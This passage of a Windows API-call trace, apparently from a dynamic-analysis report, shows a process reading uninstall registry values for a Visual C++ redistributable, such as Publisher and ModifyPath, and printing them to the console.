_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.821] __iob_func () returned 0x7fefd702a80 [0150.821] _fileno (_File=0x7fefd702ab0) returned 1 [0150.822] _errno () returned 0x204bb0 [0150.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.822] _errno () returned 0x204bb0 [0150.822] GetFileType (hFile=0x50) returned 0x1 [0150.822] lstrlenW (lpString=" ") returned 4 [0150.822] GetConsoleOutputCP () returned 0x1b5 [0150.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.822] GetConsoleOutputCP () returned 0x1b5 [0150.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.822] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.822] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.822] __iob_func () returned 0x7fefd702a80 [0150.822] _fileno (_File=0x7fefd702ab0) returned 1 [0150.822] _errno () returned 0x204bb0 [0150.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.822] _errno () returned 0x204bb0 [0150.822] GetFileType (hFile=0x50) returned 0x1 [0150.822] lstrlenW (lpString="REG_SZ") returned 6 [0150.822] GetConsoleOutputCP () returned 0x1b5 [0150.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.822] GetConsoleOutputCP () returned 0x1b5 [0150.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.822] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.822] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.823] __iob_func () returned 0x7fefd702a80 [0150.823] _fileno (_File=0x7fefd702ab0) returned 1 [0150.823] _errno () returned 0x204bb0 [0150.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.823] _errno () returned 0x204bb0 [0150.823] GetFileType (hFile=0x50) returned 0x1 [0150.823] lstrlenW (lpString=" ") returned 4 [0150.823] GetConsoleOutputCP () returned 0x1b5 [0150.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.823] GetConsoleOutputCP () returned 0x1b5 [0150.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.823] __iob_func () returned 0x7fefd702a80 [0150.823] _fileno (_File=0x7fefd702ab0) returned 1 [0150.823] _errno () returned 0x204bb0 [0150.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.823] _errno () returned 0x204bb0 [0150.823] GetFileType (hFile=0x50) returned 0x1 [0150.823] lstrlenW (lpString="14.10.25017.0") returned 13 [0150.823] GetConsoleOutputCP () returned 0x1b5 [0150.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.823] GetConsoleOutputCP () returned 0x1b5 [0150.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017.0", lpUsedDefaultChar=0x0) returned 13 [0150.824] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.824] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.824] __iob_func () returned 0x7fefd702a80 [0150.824] _fileno (_File=0x7fefd702ab0) returned 1 [0150.824] _errno () returned 0x204bb0 [0150.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.824] _errno () returned 0x204bb0 [0150.824] GetFileType (hFile=0x50) returned 0x1 [0150.824] lstrlenW (lpString="\n") returned 1 [0150.824] GetConsoleOutputCP () returned 0x1b5 [0150.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.824] GetConsoleOutputCP () returned 0x1b5 [0150.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.824] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.824] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.824] GetProcessHeap () returned 0x3c0000 [0150.824] GetProcessHeap () returned 0x3c0000 [0150.824] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.824] GetProcessHeap () returned 0x3c0000 [0150.824] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0150.824] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.824] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.825] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.825] GetProcessHeap () returned 0x3c0000 [0150.825] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7910 [0150.825] GetProcessHeap () returned 0x3c0000 [0150.825] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.825] GetProcessHeap () returned 0x3c0000 [0150.825] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.825] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.825] __iob_func () returned 0x7fefd702a80 [0150.825] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.825] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.825] _fileno (_File=0x7fefd702ab0) returned 1 [0150.825] _errno () returned 0x204bb0 [0150.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.825] _errno () returned 0x204bb0 [0150.825] GetFileType (hFile=0x50) returned 0x1 [0150.825] lstrlenW (lpString=" ") returned 4 [0150.825] GetConsoleOutputCP () returned 0x1b5 [0150.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.825] GetConsoleOutputCP () returned 0x1b5 [0150.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.825] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.825] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.825] lstrlenW (lpString="Publisher") returned 9 [0150.825] __iob_func () returned 0x7fefd702a80 [0150.826] _fileno (_File=0x7fefd702ab0) returned 1 [0150.826] _errno () returned 0x204bb0 [0150.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.826] _errno () returned 0x204bb0 [0150.826] GetFileType (hFile=0x50) returned 0x1 [0150.826] lstrlenW (lpString="Publisher") returned 9 [0150.826] GetConsoleOutputCP () returned 0x1b5 [0150.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.826] GetConsoleOutputCP () returned 0x1b5 [0150.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.826] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.826] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.826] __iob_func () returned 0x7fefd702a80 [0150.826] _fileno (_File=0x7fefd702ab0) returned 1 [0150.826] _errno () returned 0x204bb0 [0150.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.826] _errno () returned 0x204bb0 [0150.826] GetFileType (hFile=0x50) returned 0x1 [0150.826] lstrlenW (lpString=" ") returned 4 [0150.826] GetConsoleOutputCP () returned 0x1b5 [0150.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.826] GetConsoleOutputCP () returned 0x1b5 [0150.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.827] __iob_func () returned 0x7fefd702a80 [0150.827] _fileno (_File=0x7fefd702ab0) returned 1 [0150.827] _errno () returned 0x204bb0 [0150.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.827] _errno () returned 0x204bb0 [0150.827] GetFileType (hFile=0x50) returned 0x1 [0150.827] lstrlenW (lpString="REG_SZ") returned 6 [0150.827] GetConsoleOutputCP () returned 0x1b5 [0150.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.827] GetConsoleOutputCP () returned 0x1b5 [0150.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.827] __iob_func () returned 0x7fefd702a80 [0150.827] _fileno (_File=0x7fefd702ab0) returned 1 [0150.827] _errno () returned 0x204bb0 [0150.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.827] _errno () returned 0x204bb0 [0150.827] GetFileType (hFile=0x50) returned 0x1 [0150.827] lstrlenW (lpString=" ") returned 4 [0150.827] GetConsoleOutputCP () returned 0x1b5 [0150.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.828] GetConsoleOutputCP () returned 0x1b5 [0150.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.828] __iob_func () returned 0x7fefd702a80 [0150.828] _fileno (_File=0x7fefd702ab0) returned 1 [0150.828] _errno () returned 0x204bb0 [0150.828] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.828] _errno () returned 0x204bb0 [0150.828] GetFileType (hFile=0x50) returned 0x1 [0150.828] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.828] GetConsoleOutputCP () returned 0x1b5 [0150.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.828] GetConsoleOutputCP () returned 0x1b5 [0150.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.829] __iob_func () returned 0x7fefd702a80 [0150.829] _fileno (_File=0x7fefd702ab0) returned 1 [0150.829] _errno () returned 0x204bb0 [0150.829] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.829] _errno () returned 0x204bb0 [0150.829] GetFileType (hFile=0x50) returned 0x1 [0150.829] lstrlenW (lpString="\n") returned 1 [0150.829] GetConsoleOutputCP () returned 0x1b5 [0150.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.829] GetConsoleOutputCP () returned 0x1b5 [0150.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.829] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.829] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.829] GetProcessHeap () returned 0x3c0000 [0150.829] GetProcessHeap () returned 0x3c0000 [0150.829] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.829] GetProcessHeap () returned 0x3c0000 [0150.829] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0150.829] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0150.829] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.829] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc2) returned 0x0 [0150.830] GetProcessHeap () returned 0x3c0000 [0150.830] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc4) returned 0x3e1c70 [0150.830] GetProcessHeap () returned 0x3c0000 [0150.830] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.830] GetProcessHeap () returned 0x3c0000 [0150.830] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc4 [0150.830] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc2 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify", pcbData=0x29f780*=0xc0) returned 0x0 [0150.830] __iob_func () returned 0x7fefd702a80 [0150.830] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.830] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.830] _fileno (_File=0x7fefd702ab0) returned 1 [0150.830] _errno () returned 0x204bb0 [0150.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.830] _errno () returned 0x204bb0 [0150.830] GetFileType (hFile=0x50) returned 0x1 [0150.830] lstrlenW (lpString=" ") returned 4 [0150.830] GetConsoleOutputCP () returned 0x1b5 [0150.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.830] GetConsoleOutputCP () returned 0x1b5 [0150.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.830] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.830] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.830] lstrlenW (lpString="ModifyPath") returned 10 [0150.830] __iob_func () returned 0x7fefd702a80 [0150.830] _fileno (_File=0x7fefd702ab0) returned 1 [0150.830] _errno () returned 0x204bb0 [0150.830] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.830] _errno () returned 0x204bb0 [0150.831] GetFileType (hFile=0x50) returned 0x1 [0150.831] lstrlenW (lpString="ModifyPath") returned 10 [0150.831] GetConsoleOutputCP () returned 0x1b5 [0150.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.831] GetConsoleOutputCP () returned 0x1b5 [0150.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.831] __iob_func () returned 0x7fefd702a80 [0150.831] _fileno (_File=0x7fefd702ab0) returned 1 [0150.831] _errno () returned 0x204bb0 [0150.831] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.831] _errno () returned 0x204bb0 [0150.831] GetFileType (hFile=0x50) returned 0x1 [0150.831] lstrlenW (lpString=" ") returned 4 [0150.831] GetConsoleOutputCP () returned 0x1b5 [0150.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.831] GetConsoleOutputCP () returned 0x1b5 [0150.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.831] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.831] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.832] __iob_func () returned 0x7fefd702a80 [0150.832] _fileno (_File=0x7fefd702ab0) returned 1 [0150.832] _errno () returned 0x204bb0 [0150.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.832] _errno () returned 0x204bb0 [0150.832] GetFileType (hFile=0x50) returned 0x1 [0150.832] lstrlenW (lpString="REG_SZ") returned 6 [0150.832] GetConsoleOutputCP () returned 0x1b5 [0150.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.832] GetConsoleOutputCP () returned 0x1b5 [0150.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.832] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.832] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.832] __iob_func () returned 0x7fefd702a80 [0150.832] _fileno (_File=0x7fefd702ab0) returned 1 [0150.832] _errno () returned 0x204bb0 [0150.832] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.832] _errno () returned 0x204bb0 [0150.832] GetFileType (hFile=0x50) returned 0x1 [0150.832] lstrlenW (lpString=" ") returned 4 [0150.832] GetConsoleOutputCP () returned 0x1b5 [0150.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.833] GetConsoleOutputCP () returned 0x1b5 [0150.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.833] __iob_func () returned 0x7fefd702a80 [0150.833] _fileno (_File=0x7fefd702ab0) returned 1 [0150.833] _errno () returned 0x204bb0 [0150.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.833] _errno () returned 0x204bb0 [0150.833] GetFileType (hFile=0x50) returned 0x1 [0150.833] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify") returned 95 [0150.833] GetConsoleOutputCP () returned 0x1b5 [0150.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify", cchWideChar=95, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 95 [0150.833] GetConsoleOutputCP () returned 0x1b5 [0150.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify", cchWideChar=95, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /modify", lpUsedDefaultChar=0x0) returned 95 [0150.833] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 95 [0150.833] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.833] __iob_func () returned 0x7fefd702a80 [0150.833] _fileno (_File=0x7fefd702ab0) returned 1 [0150.833] _errno () returned 0x204bb0 [0150.833] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.833] _errno () returned 0x204bb0 [0150.833] GetFileType (hFile=0x50) returned 0x1 [0150.834] lstrlenW (lpString="\n") returned 1 [0150.834] GetConsoleOutputCP () returned 0x1b5 [0150.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.834] GetConsoleOutputCP () returned 0x1b5 [0150.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.834] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.834] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.834] GetProcessHeap () returned 0x3c0000 [0150.834] GetProcessHeap () returned 0x3c0000 